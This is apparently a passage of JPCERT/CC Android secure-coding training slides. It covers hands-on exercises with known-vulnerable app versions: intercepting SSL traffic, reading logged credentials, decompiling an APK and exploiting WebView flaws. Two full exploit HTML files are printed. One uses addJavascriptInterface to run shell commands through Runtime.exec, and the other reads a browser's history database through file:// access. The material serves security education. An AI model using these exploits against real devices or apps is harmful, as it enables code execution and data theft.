http://www.fireeye.com/blog/technical/2014/08/ssl-vulnerabilities-wholistens-when-android-applications-talk.html
201

Copyright©2014 JPCERT/CC All rights reserved.

Install vulnerable app
Vulnerable app—Monaca Debugger for Android ver1.4.1
Monaca Debugger for Android contains an issue where it fails
to verify SSL server certificates.

Installation
adb install mobi.monaca.debugger-1.4.1.apk

202

Copyright©2014 JPCERT/CC All rights reserved.

Exercise: SSL Vulnerability
PC—Run the mitmproxy or Fiddler in PC
mitmproxy—Default port: 8080

Fiddler—Default port: 8888

Android—[Settings] > [Wi-Fi] > [target AP]
Tap the [Show advanced options]—Change proxy settings[Proxy hostname], [Proxy port]—Launch Monaca Debugger
Type "hoge@example.com" in the Email Addressand "abcdefg" in the Password, Tap Login.
203

Copyright©2014 JPCERT/CC All rights reserved.

Using mitmproxy204

Copyright©2014 JPCERT/CC All rights reserved.

Using Fiddler

205

Copyright©2014 JPCERT/CC All rights reserved.

Analysis
Decode resources
java –jar apktool.jar d mobi.monaca.debugger-1.4.1.apk out—Decode files output "out" directory.

Convert a dex file to a jar filedex2jar.sh mobi.monaca.debugger-1.4.1.apk—Launch JD-GUI—Open the jar filemobi.monaca.debugger-1.4.1_dex2jar.jar

206

Copyright©2014 JPCERT/CC All rights reserved.

Exercise: Find vulnerable code

Find vulnerable code!

207

Copyright©2014 JPCERT/CC All rights reserved.

Spot the Flaw

208

Copyright©2014 JPCERT/CC All rights reserved.

Logging Vulnerability

209

Copyright©2014 JPCERT/CC All rights reserved.

Install vulnerable app
Vulnerable app—Monaca Debugger for Android ver1.4.1
Monaca Debugger for Android contains an information
management vulnerability.

Installation
adb install mobi.monaca.debugger-1.4.1.apk

210

Copyright©2014 JPCERT/CC All rights reserved.

Exercise: Logging Vulnerability
Connect Android to PC using the USB—Android
Enable [Developer options] > [USB debugging]—On Android 4.2 and higher, the Developer options screen is
hidden by default. Go to [Settings] > [About phone] and tap [Build
number] seven times.

—PC
adb shell logcat

Launch Monaca Debugger—Type "hoge@example.com" in the Email Addressand "abcdefg" in the Password, tap Login.

211

Copyright©2014 JPCERT/CC All rights reserved.

Exercise: Logging Vulnerability

212

Copyright©2014 JPCERT/CC All rights reserved.

Exercise: Find vulnerable code

Find vulnerable code!

213

Copyright©2014 JPCERT/CC All rights reserved.

Spot the Flaw

214

Copyright©2014 JPCERT/CC All rights reserved.

WebView Vulnerability

215

Copyright©2014 JPCERT/CC All rights reserved.

WebView Vulnerability

Javascript is turned on—WebView#addJavascriptInterface—same origin policy
XMLHttpRequest
File schema

216

Copyright©2014 JPCERT/CC All rights reserved.

WebView#addJavascriptInterface
WebView#addJavascriptInterface(Object object, String
name)—allows the Java object's method to be accessed from
Javascript@Override
public void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);
setContentView(R.layout.demo);
context = this.getApplicationContext();
webView = (WebView) findViewById(R.id.demoWebView);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSObject(this),"jsobject");}

217

Copyright©2014 JPCERT/CC All rights reserved.

public class JSObject {Context mContext;
public JSObject(Context context) {mContext = context;}}

Install vulnerable app
Vulnerable app—Sleipnir Mobile for Android 2.0.4
Sleipnir Mobile for Android contains an arbitrary Java method
execution vulnerability.

Installation app
adb install jp.co.fenrir.android.sleipnir-2.0.4.apk

Exploit code
adb push addjavascriptinterface.html /mnt/sdcard/

218

Copyright©2014 JPCERT/CC All rights reserved.

Exercise: WebView Vulnerability
Launch Sleipnir Mobile
Open exploit html file
—file://mnt/sdcard/addjavascriptinterface.html

219

Copyright©2014 JPCERT/CC All rights reserved.

Exploit code
addjavascriptinterface.html<html><body><p>WebView Vulnerability: addJavascriptInterface</p><script>
var myclass = SleipnirMobile;var classLoader = myclass.getClass().getClassLoader();// using android.os.Buildvar buildClass = classLoader.loadClass('android.os.Build');
document.write("<br />");
document.write(buildClass.getField('SERIAL').get(null).toString());
document.write("<br />");
document.write(buildClass.getField('FINGERPRINT').get(null).toString());// using java.lang.Runtime
var runtimeClass = classLoader.loadClass('java.lang.Runtime');var runtimeMethod = runtimeClass.getMethod('getRuntime', null);var get_runtime = runtimeMethod.invoke(null, null);document.write("<br />");
document.write("create a text file on /mnt/sdcard/");document.write(get_runtime.exec(['sh', '-c', 'touch /mnt/sdcard/hoge.txt']));</script></body></html>220

Copyright©2014 JPCERT/CC All rights reserved.

Exercise: Find vulnerable code

Find vulnerable code!

221

Copyright©2014 JPCERT/CC All rights reserved.

Spot the Flaw

222

Copyright©2014 JPCERT/CC All rights reserved.

File schema Vulnerability
Vulnerable app—Sleipnir Mobile for Android 2.0.4
If a user of the affected product uses other malicious Android
app, information managed by the affected product may bedisclosed.

Exploit code
adb push fileschema.html /mnt/sdcard/

223

Copyright©2014 JPCERT/CC All rights reserved.

Exercise: WebView Vulnerability
Type the following command:

adb shell am start -n jp.co.fenrir.android.sleipnir/.main.IntentActivity
file:///mnt/sdcard/fileschema.html

224

Copyright©2014 JPCERT/CC All rights reserved.

Exploit code
fileschema.html<html><body><p>WebView Vulnerability: File schema</p><div id="result"></div><script>
var xmlhttp = new XMLHttpRequest();xmlhttp.open('GET','file:///data/data/jp.co.fenrir.android.sleipnir/databases/history.db',
false);
xmlhttp.send(null);var ret = xmlhttp.responseText;
document.getElementById('result').innerHTML = ret;</script></body></html>225

Copyright©2014 JPCERT/CC All rights reserved.

Part 4

Exercise: Code Assessment

226

Copyright©2014 JPCERT/CC All rights reserved.

Sample Application

RSS Viewer
retrieve RSS data and—parse it—store it in DB—display it using
ListView
WebView

227

Copyright©2014 JPCERT/CC All rights reserved.

Eclipse Settings

Check the text encoding and build target
text encoding is "UTF-8"

228

Copyright©2014 JPCERT/CC All rights reserved.

Installed SDK version

Sample Application

Find as many
vulnerabilities
as you can!

229

Copyright©2014 JPCERT/CC All rights reserved.